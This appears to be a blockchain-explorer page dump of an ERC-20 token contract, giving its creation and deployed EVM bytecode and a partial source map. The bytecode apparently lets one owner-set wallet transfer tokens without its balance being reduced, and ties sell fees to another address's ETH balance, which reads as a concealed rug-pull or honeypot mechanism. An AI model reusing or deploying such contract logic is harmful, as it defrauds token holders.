60405180910390a36001935050505061075b565b600081848411156113875760405162461bcd60e51b81526004016107c29190611917565b5060006113948486611b92565b95945050505050565b6000806113aa8385611ba5565b90508381101561075b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107c2565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000818361146d5760405162461bcd60e51b81526004016107c29190611917565b5060006113948486611b70565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526004909152918220546114cb918490611363565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546114fa908361139d565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061154e9086815260200190565b60405180910390a35060019392505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061159557611595611bb8565b60200260200101906001600160a01b031690816001600160a01b031681525050601160039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611608573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162c9190611af8565b8160018151811061163f5761163f611bb8565b6001600160a01b03928316602091820292909201015260115461166c913091630100000090041684610df5565b60115460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac947906116ab908590600090869030904290600401611c12565b600060405180830381600087803b1580156116c557600080fd5b505af11580156116d9573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161170e929190611c4e565b60405180910390a15050565b6001600160a01b03821660009081526006602052604081205460ff168061175957506001600160a01b03821660009081526006602052604090205460ff165b15611766575060016106f1565b6001600160a01b03831660009081526007602052604090205460ff16806117a557506001600160a01b03821660009081526007602052604090205460ff165b156117b2575060006106f1565b5060006106f1565b6001600160a01b038316600090815260076020526040812054819060ff1615611805576117fe6009546117f8600a5486610d3190919063ffffffff16565b90610db3565b9050611855565b6001600160a01b03841660009081526007602052604090205460ff161561185557600954600c54600b5461185292916117f89161184b916001600160a01b0316316118d5565b8690610d31565b90505b80156118cf5730600090815260046020526040902054611875908261139d565b30600081815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118c69085815260200190565b60405180910390a35b61139483825b600061075b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611363565b600060208083528351808285015260005b8181101561194457858101830151858201604001528201611928565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108db57600080fd5b6000806040838503121561198d57600080fd5b823561199881611965565b946020939093013593505050565b6000806000606084860312156119bb57600080fd5b83356119c681611965565b925060208401356119d681611965565b929592945050506040919091013590565b6000602082840312156119f957600080fd5b813561075b81611965565b60008060408385031215611a1757600080fd5b8235611a2281611965565b915060208301358015158114611a3757600080fd5b809150509250929050565b600060208284031215611a5457600080fd5b5035919050565b60008060408385031215611a6e57600080fd5b8235611a7981611965565b91506020830135611a3781611965565b600181811c90821680611a9d57607f821691505b602082108103611abd57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b0a57600080fd5b815161075b81611965565b600080600060608486031215611b2a57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176106f1576106f1611b43565b600082611b8d57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156106f1576106f1611b43565b808201808211156106f1576106f1611b43565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015611c075781516001600160a01b031687529582019590820190600101611be2565b509495945050505050565b85815284602082015260a060408201526000611c3160a0830186611bce565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611c676040830184611bce565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e9fba87420716b54bd4e004123f7d0d770de4451b07e2238c699d220644ea02b64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101f25760003560e01c8063751039fc1161010d578063c469b6dd116100a0578063d7f038c81161006f578063d7f038c814610588578063dd62ed3e146105a8578063df8408fe146105ee578063f242ab411461060e578063f2fde38b1461062e57600080fd5b8063c469b6dd14610524578063c867d60b1461053a578063c9567bf91461056a578063cab034711461057257600080fd5b806395d89b41116100dc57806395d89b41146104ba57806399d32fc4146104cf578063a457c2d7146104e4578063a9059cbb1461050457600080fd5b8063751039fc1461045b5780637d1db4a514610470578063807c2d9c146104865780638da5cb5b1461049c57600080fd5b806339509351116101855780636ddd1713116101545780636ddd1713146103d157806370a08231146103f0578063715018a614610426578063728d41c91461043b57600080fd5b8063395093511461032f5780633ecad2711461034f5780635342acb41461037f578063651a8987146103af57600080fd5b806318160ddd116101c157806318160ddd146102b85780631c75f085146102cd57806323b872dd146102ed578063313ce5671461030d57600080fd5b80630445b667146101fe57806306fdde03146102275780630758d92414610249578063095ea7b31461028857600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061021460105481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061023c61064e565b60405161021e9190611917565b34801561025557600080fd5b5060115461027090630100000090046001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561029457600080fd5b506102a86102a336600461197a565b6106e0565b604051901515815260200161021e565b3480156102c457600080fd5b50600d54610214565b3480156102d957600080fd5b50600c54610270906001600160a01b031681565b3480156102f957600080fd5b506102a86103083660046119a6565b6106f7565b34801561031957600080fd5b5060035460405160ff909116815260200161021e565b34801561033b57600080fd5b506102a861034a36600461197a565b610762565b34801561035b57600080fd5b506102a861036a3660046119e7565b60076020526000908152604090205460ff1681565b34801561038b57600080fd5b506102a861039a3660046119e7565b60066020526000908152604090205460ff1681565b3480156103bb57600080fd5b506103cf6103ca366004611a04565b610798565b005b3480156103dd57600080fd5b506011546102a890610100900460ff1681565b3480156103fc57600080fd5b5061021461040b3660046119e7565b6001600160a01b031660009081526004602052604090205490565b34801561043257600080fd5b506103cf6107f6565b34801561044757600080fd5b506103cf610456366004611a42565b61082c565b34801561046757600080fd5b506103cf61085b565b34801561047c57600080fd5b50610214600e5481565b34801561049257600080fd5b50610214600f5481565b3480156104a857600080fd5b506000546001600160a01b0316610270565b3480156104c657600080fd5b5061023c610893565b3480156104db57600080fd5b506103cf6108a2565b3480156104f057600080fd5b506102a86104ff36600461197a565b6108de565b34801561051057600080fd5b506102a861051f36600461197a565b61092d565b34801561053057600080fd5b50610214600a5481565b34801561054657600080fd5b506102a86105553660046119e7565b60086020526000908152604090205460ff1681565b6103cf61093a565b34801561057e57600080fd5b50610214600b5481565b34801561059457600080fd5b506011546102a89062010000900460ff1681565b3480156105b457600080fd5b506102146105c3366004611a5b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105fa57600080fd5b506103cf610609366004611a04565b610c44565b34801561061a57600080fd5b50601254610270906001600160a01b031681565b34801561063a57600080fd5b506103cf6106493660046119e7565b610c99565b60606001805461065d90611a89565b80601f016020809104026020016040519081016040528092919081815260200182805461068990611a89565b80156106d65780601f106106ab576101008083540402835291602001916106d6565b820191906000526020600020905b8154815290600101906020018083116106b957829003601f168201915b5050505050905090565b60006106ed338484610df5565b5060015b92915050565b6000610704848484610f19565b50610757843361075285604051806060016040528060288152602001611c70602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611363565b610df5565b5060015b9392505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916106ed918590610752908661139d565b6000546001600160a01b031633146107cb5760405162461bcd60e51b81526004016107c290611ac3565b60405180910390fd5b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108205760405162461bcd60e51b81526004016107c290611ac3565b61082a60006113fc565b565b6000546001600160a01b031633146108565760405162461bcd60e51b81526004016107c290611ac3565b600f55565b6000546001600160a01b031633146108855760405162461bcd60e51b81526004016107c290611ac3565b6011805462ff000019169055565b60606002805461065d90611a89565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156108db573d6000803e3d6000fd5b50565b60006106ed338461075285604051806060016040528060258152602001611c98602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611363565b6000610757338484610f19565b6000546001600160a01b031633146109645760405162461bcd60e51b81526004016107c290611ac3565b60115460ff16156109ab5760405162461bcd60e51b8152602060048201526011602482015270416c7265616479206c61756e636865642160781b60448201526064016107c2565b60118054600160ff1990911617908190556040805163c45a015560e01b8152905163010000009092046001600160a01b03169163c45a0155916004808201926020929091908290030181865afa158015610a09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2d9190611af8565b6001600160a01b031663c9c6539630601160039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab39190611af8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b249190611af8565b601280546001600160a01b039283166001600160a01b031990911681179091556000908152600760205260409020805460ff19166001179055601154630100000090041663f305d7193430610b8e816001600160a01b031660009081526004602052604090205490565b600080610ba36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611b15565b50506011805461ff00191661010017905550565b6000546001600160a01b03163314610c6e5760405162461bcd60e51b81526004016107c290611ac3565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610cc35760405162461bcd60e51b81526004016107c290611ac3565b6001600160a01b038116610d285760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c2565b6108db816113fc565b600082600003610d43575060006106f1565b6000610d4f8385611b59565b905082610d5c8583611b70565b1461075b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107c2565b600061075b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061144c565b6001600160a01b038316610e575760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107c2565b6001600160a01b038216610eb85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107c2565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610f7f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107c2565b6001600160a01b038316610fe15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c2565b600082116110435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107c2565b601254600160a01b900460ff16156110675761106084848461147a565b905061075b565b60115460ff166110f5576001600160a01b03841660009081526006602052604090205460ff16806110b057506001600160a01b03831660009081526006602052604090205460ff165b6110f55760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016107c2565b30600090815260046020526040902054601054811080159081906111235750601254600160a01b900460ff16155b801561114857506001600160a01b03861660009081526007602052604090205460ff16155b801561115b5750601154610100900460ff165b156111695761116982611560565b600c546001600160a01b038781169116146111ea576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600490915291909120546111d0918690611363565b6001600160a01b0387166000908152600460205260409020555b60006111f6878761171a565b61120a576112058787876117ba565b61120c565b845b60115490915062010000900460ff16801561123457506012546001600160a01b038881169116145b801561125957506001600160a01b03861660009081526008602052604090205460ff16155b156112d857600f5461128a82611284896001600160a01b031660009081526004602052604090205490565b9061139d565b11156112d85760405162461bcd60e51b815260206004820152601b60248201527f4d61782057616c6c6574204c696d69742045786365656465642121000000000060448201526064016107c2565b6001600160a01b0386166000908152600460205260409020546112fb908261139d565b6001600160a01b0380881660008181526004602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061134f9085815260200190565b60405180910390a36001935050505061075b565b600081848411156113875760405162461bcd60e51b81526004016107c29190611917565b5060006113948486611b92565b95945050505050565b6000806113aa8385611ba5565b90508381101561075b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107c2565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000818361146d5760405162461bcd60e51b81526004016107c29190611917565b5060006113948486611b70565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526004909152918220546114cb918490611363565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546114fa908361139d565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061154e9086815260200190565b60405180910390a35060019392505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061159557611595611bb8565b60200260200101906001600160a01b031690816001600160a01b031681525050601160039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611608573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162c9190611af8565b8160018151811061163f5761163f611bb8565b6001600160a01b03928316602091820292909201015260115461166c913091630100000090041684610df5565b60115460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac947906116ab908590600090869030904290600401611c12565b600060405180830381600087803b1580156116c557600080fd5b505af11580156116d9573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161170e929190611c4e565b60405180910390a15050565b6001600160a01b03821660009081526006602052604081205460ff168061175957506001600160a01b03821660009081526006602052604090205460ff165b15611766575060016106f1565b6001600160a01b03831660009081526007602052604090205460ff16806117a557506001600160a01b03821660009081526007602052604090205460ff165b156117b2575060006106f1565b5060006106f1565b6001600160a01b038316600090815260076020526040812054819060ff1615611805576117fe6009546117f8600a5486610d3190919063ffffffff16565b90610db3565b9050611855565b6001600160a01b03841660009081526007602052604090205460ff161561185557600954600c54600b5461185292916117f89161184b916001600160a01b0316316118d5565b8690610d31565b90505b80156118cf5730600090815260046020526040902054611875908261139d565b30600081815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118c69085815260200190565b60405180910390a35b61139483825b600061075b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611363565b600060208083528351808285015260005b8181101561194457858101830151858201604001528201611928565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108db57600080fd5b6000806040838503121561198d57600080fd5b823561199881611965565b946020939093013593505050565b6000806000606084860312156119bb57600080fd5b83356119c681611965565b925060208401356119d681611965565b929592945050506040919091013590565b6000602082840312156119f957600080fd5b813561075b81611965565b60008060408385031215611a1757600080fd5b8235611a2281611965565b915060208301358015158114611a3757600080fd5b809150509250929050565b600060208284031215611a5457600080fd5b5035919050565b60008060408385031215611a6e57600080fd5b8235611a7981611965565b91506020830135611a3781611965565b600181811c90821680611a9d57607f821691505b602082108103611abd57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b0a57600080fd5b815161075b81611965565b600080600060608486031215611b2a57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176106f1576106f1611b43565b600082611b8d57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156106f1576106f1611b43565b808201808211156106f1576106f1611b43565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015611c075781516001600160a01b031687529582019590820190600101611be2565b509495945050505050565b85815284602082015260a060408201526000611c3160a0830186611bce565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611c676040830184611bce565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e9fba87420716b54bd4e004123f7d0d770de4451b07e2238c699d220644ea02b64736f6c63430008120033

Deployed Bytecode Sourcemap

7188:9041:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8098:61;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;8098:61:0;;;;;;;;9272:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;8279:33::-;;;;;;;;;;-1:-1:-1;8279:33:0;;;;;;;-1:-1:-1;;;;;8279:33:0;;;;;;-1:-1:-1;;;;;937:32:1;;;919:51;;907:2;892:18;8279:33:0;749:227:1;10442:161:0;;;;;;;;;;-1:-1:-1;10442:161:0;;;;;:::i;:::-;;:::i;:::-;;;1602:14:1;;1595:22;1577:41;;1565:2;1550:18;10442:161:0;1437:187:1;9549:100:0;;;;;;;;;;-1:-1:-1;9629:12:0;;9549:100;;7807:80;;;;;;;;;;-1:-1:-1;7807:80:0;;;;-1:-1:-1;;;;;7807:80:0;;;11216:313;;;;;;;;;;-1:-1:-1;11216:313:0;;;;;:::i;:::-;;:::i;9458:83::-;;;;;;;;;;-1:-1:-1;9524:9:0;;9458:83;;9524:9;;;;2440:36:1;;2428:2;2413:18;9458:83:0;2298:184:1;9939:218:0;;;;;;;;;;-1:-1:-1;9939:218:0;;;;;:::i;:::-;;:::i;7584:45::-;;;;;;;;;;-1:-1:-1;7584:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7527:50;;;;;;;;;;-1:-1:-1;7527:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15283:128;;;;;;;;;;-1:-1:-1;15283:128:0;;;;;:::i;:::-;;:::i;:::-;;8195:31;;;;;;;;;;-1:-1:-1;8195:31:0;;;;;;;;;;;9657:123;;;;;;;;;;-1:-1:-1;9657:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;9749:18:0;9723:7;9749:18;;;:9;:18;;;;;;;9657:123;1942:94;;;;;;;;;;;;;:::i;15419:106::-;;;;;;;;;;-1:-1:-1;15419:106:0;;;;;:::i;:::-;;:::i;16028:88::-;;;;;;;;;;;;;:::i;7963:61::-;;;;;;;;;;;;;;;;8031:58;;;;;;;;;;;;;;;;1633:87;;;;;;;;;;-1:-1:-1;1679:7:0;1706:6;-1:-1:-1;;;;;1706:6:0;1633:87;;9363;;;;;;;;;;;;;:::i;16124:100::-;;;;;;;;;;;;;:::i;10165:269::-;;;;;;;;;;-1:-1:-1;10165:269:0;;;;;:::i;:::-;;:::i;11041:167::-;;;;;;;;;;-1:-1:-1;11041:167:0;;;;;:::i;:::-;;:::i;7732:30::-;;;;;;;;;;;;;;;;7636:52;;;;;;;;;;-1:-1:-1;7636:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15533:487;;;:::i;7769:31::-;;;;;;;;;;;;;;;;8233:37;;;;;;;;;;-1:-1:-1;8233:37:0;;;;;;;;;;;9788:143;;;;;;;;;;-1:-1:-1;9788:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;9896:18:0;;;9869:7;9896:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9788:143;15153:122;;;;;;;;;;-1:-1:-1;15153:122:0;;;;;:::i;:::-;;:::i;8319:22::-;;;;;;;;;;-1:-1:-1;8319:22:0;;;;-1:-1:-1;;;;;8319:22:0;;;2044:229;;;;;;;;;;-1:-1:-1;2044:229:0;;;;;:::i;:::-;;:::i;9272:83::-;9309:13;9342:5;9335:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9272:83;:::o;10442:161::-;10517:4;10534:39;280:10;10557:7;10566:6;10534:8;:39::i;:::-;-1:-1:-1;10591:4:0;10442:161;;;;;:::o;11216:313::-;11314:4;11331:36;11341:6;11349:9;11360:6;11331:9;:36::i;:::-;-1:-1:-1;11378:121:0;11387:6;280:10;11409:89;11447:6;11409:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11409:19:0;;;;;;:11;:19;;;;;;;;280:10;11409:33;;;;;;;;;;:37;:89::i;:::-;11378:8;:121::i;:::-;-1:-1:-1;11517:4:0;11216:313;;;;;;:::o;9939:218::-;280:10;10027:4;10076:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10076:34:0;;;;;;;;;;10027:4;;10044:83;;10067:7;;10076:50;;10115:10;10076:38;:50::i;15283:128::-;1679:7;1706:6;-1:-1:-1;;;;;1706:6:0;280:10;1854:23;1846:68;;;;-1:-1:-1;;;1846:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;15368:25:0;;;::::1;;::::0;;;:19:::1;:25;::::0;;;;:35;;-1:-1:-1;;15368:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15283:128::o;1942:94::-;1679:7;1706:6;-1:-1:-1;;;;;1706:6:0;280:10;1854:23;1846:68;;;;-1:-1:-1;;;1846:68:0;;;;;;;:::i;:::-;2007:21:::1;2025:1;2007:9;:21::i;:::-;1942:94::o:0;15419:106::-;1679:7;1706:6;-1:-1:-1;;;;;1706:6:0;280:10;1854:23;1846:68;;;;-1:-1:-1;;;1846:68:0;;;;;;;:::i;:::-;15496:10:::1;:21:::0;15419:106::o;16028:88::-;1679:7;1706:6;-1:-1:-1;;;;;1706:6:0;280:10;1854:23;1846:68;;;;-1:-1:-1;;;1846:68:0;;;;;;;:::i;:::-;16082:18:::1;:26:::0;;-1:-1:-1;;16082:26:0::1;::::0;;16028:88::o;9363:87::-;9402:13;9435:7;9428:14;;;;;:::i;16124:100::-;16172:11;;16164:52;;-1:-1:-1;;;;;16172:11:0;;;;16194:21;16164:52;;;;;16172:11;16164:52;16172:11;16164:52;16194:21;16172:11;16164:52;;;;;;;;;;;;;;;;;;;;;16124:100::o;10165:269::-;10258:4;10275:129;280:10;10298:7;10307:96;10346:15;10307:96;;;;;;;;;;;;;;;;;280:10;10307:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10307:34:0;;;;;;;;;;;;:38;:96::i;11041:167::-;11119:4;11136:42;280:10;11160:9;11171:6;11136:9;:42::i;15533:487::-;1679:7;1706:6;-1:-1:-1;;;;;1706:6:0;280:10;1854:23;1846:68;;;;-1:-1:-1;;;1846:68:0;;;;;;;:::i;:::-;15603:13:::1;::::0;::::1;;15602:14;15594:44;;;::::0;-1:-1:-1;;;15594:44:0;;4686:2:1;15594:44:0::1;::::0;::::1;4668:21:1::0;4725:2;4705:18;;;4698:30;-1:-1:-1;;;4744:18:1;;;4737:47;4801:18;;15594:44:0::1;4484:341:1::0;15594:44:0::1;15651:13;:20:::0;;15667:4:::1;-1:-1:-1::0;;15651:20:0;;::::1;;::::0;;;;15710:19:::1;::::0;;-1:-1:-1;;;15710:19:0;;;;:9;;;::::1;-1:-1:-1::0;;;;;15710:9:0::1;::::0;:17:::1;::::0;:19:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;:9;:19:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15692:49:0::1;;15764:4;15784:9;;;;;;;;;-1:-1:-1::0;;;;;15784:9:0::1;-1:-1:-1::0;;;;;15784:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15692:119;::::0;-1:-1:-1;;;;;;15692:119:0::1;::::0;;;;;;-1:-1:-1;;;;;5316:15:1;;;15692:119:0::1;::::0;::::1;5298:34:1::0;5368:15;;5348:18;;;5341:43;5233:18;;15692:119:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15682:7;:129:::0;;-1:-1:-1;;;;;15682:129:0;;::::1;-1:-1:-1::0;;;;;;15682:129:0;;::::1;::::0;::::1;::::0;;;:7:::1;15822:30:::0;;;:12:::1;:30;::::0;;;;:37;;-1:-1:-1;;15822:37:0::1;15682:129:::0;15822:37:::1;::::0;;15870:9:::1;::::0;;;::::1;;:25;15903:9;15922:4;15928:24;15922:4:::0;-1:-1:-1;;;;;9749:18:0;9723:7;9749:18;;;:9;:18;;;;;;;9657:123;15928:24:::1;15953:1;15955::::0;15957:7:::1;1679::::0;1706:6;-1:-1:-1;;;;;1706:6:0;;1633:87;15957:7:::1;15870:111;::::0;::::1;::::0;;;-1:-1:-1;;;;;;15870:111:0;;;-1:-1:-1;;;;;5754:15:1;;;15870:111:0::1;::::0;::::1;5736:34:1::0;5786:18;;;5779:34;;;;5829:18;;;5822:34;;;;5872:18;;;5865:34;5936:15;;;5915:19;;;5908:44;15965:15:0::1;5968:19:1::0;;;5961:35;5670:19;;15870:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;15994:11:0::1;:18:::0;;-1:-1:-1;;15994:18:0::1;;;::::0;;-1:-1:-1;15533:487:0:o;15153:122::-;1679:7;1706:6;-1:-1:-1;;;;;1706:6:0;280:10;1854:23;1846:68;;;;-1:-1:-1;;;1846:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15234:23:0;;;::::1;;::::0;;;:17:::1;:23;::::0;;;;:33;;-1:-1:-1;;15234:33:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15153:122::o;2044:229::-;1679:7;1706:6;-1:-1:-1;;;;;1706:6:0;280:10;1854:23;1846:68;;;;-1:-1:-1;;;1846:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2147:22:0;::::1;2125:110;;;::::0;-1:-1:-1;;;2125:110:0;;6520:2:1;2125:110:0::1;::::0;::::1;6502:21:1::0;6559:2;6539:18;;;6532:30;6598:34;6578:18;;;6571:62;-1:-1:-1;;;6649:18:1;;;6642:36;6695:19;;2125:110:0::1;6318:402:1::0;2125:110:0::1;2246:19;2256:8;2246:9;:19::i;3020:250::-:0;3078:7;3102:1;3107;3102:6;3098:47;;-1:-1:-1;3132:1:0;3125:8;;3098:47;3157:9;3169:5;3173:1;3169;:5;:::i;:::-;3157:17;-1:-1:-1;3202:1:0;3193:5;3197:1;3157:17;3193:5;:::i;:::-;:10;3185:56;;;;-1:-1:-1;;;3185:56:0;;7454:2:1;3185:56:0;;;7436:21:1;7493:2;7473:18;;;7466:30;7532:34;7512:18;;;7505:62;-1:-1:-1;;;7583:18:1;;;7576:31;7624:19;;3185:56:0;7252:397:1;3278:132:0;3336:7;3363:39;3367:1;3370;3363:39;;;;;;;;;;;;;;;;;:3;:39::i;10611:337::-;-1:-1:-1;;;;;10704:19:0;;10696:68;;;;-1:-1:-1;;;10696:68:0;;7856:2:1;10696:68:0;;;7838:21:1;7895:2;7875:18;;;7868:30;7934:34;7914:18;;;7907:62;-1:-1:-1;;;7985:18:1;;;7978:34;8029:19;;10696:68:0;7654:400:1;10696:68:0;-1:-1:-1;;;;;10783:21:0;;10775:68;;;;-1:-1:-1;;;10775:68:0;;8261:2:1;10775:68:0;;;8243:21:1;8300:2;8280:18;;;8273:30;8339:34;8319:18;;;8312:62;-1:-1:-1;;;8390:18:1;;;8383:32;8432:19;;10775:68:0;8059:398:1;10775:68:0;-1:-1:-1;;;;;10856:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10908:32;;160:25:1;;;10908:32:0;;133:18:1;10908:32:0;;;;;;;10611:337;;;:::o;11537:1589::-;11624:4;-1:-1:-1;;;;;11651:20:0;;11643:70;;;;-1:-1:-1;;;11643:70:0;;8664:2:1;11643:70:0;;;8646:21:1;8703:2;8683:18;;;8676:30;8742:34;8722:18;;;8715:62;-1:-1:-1;;;8793:18:1;;;8786:35;8838:19;;11643:70:0;8462:401:1;11643:70:0;-1:-1:-1;;;;;11732:23:0;;11724:71;;;;-1:-1:-1;;;11724:71:0;;9070:2:1;11724:71:0;;;9052:21:1;9109:2;9089:18;;;9082:30;9148:34;9128:18;;;9121:62;-1:-1:-1;;;9199:18:1;;;9192:33;9242:19;;11724:71:0;8868:399:1;11724:71:0;11823:1;11814:6;:10;11806:64;;;;-1:-1:-1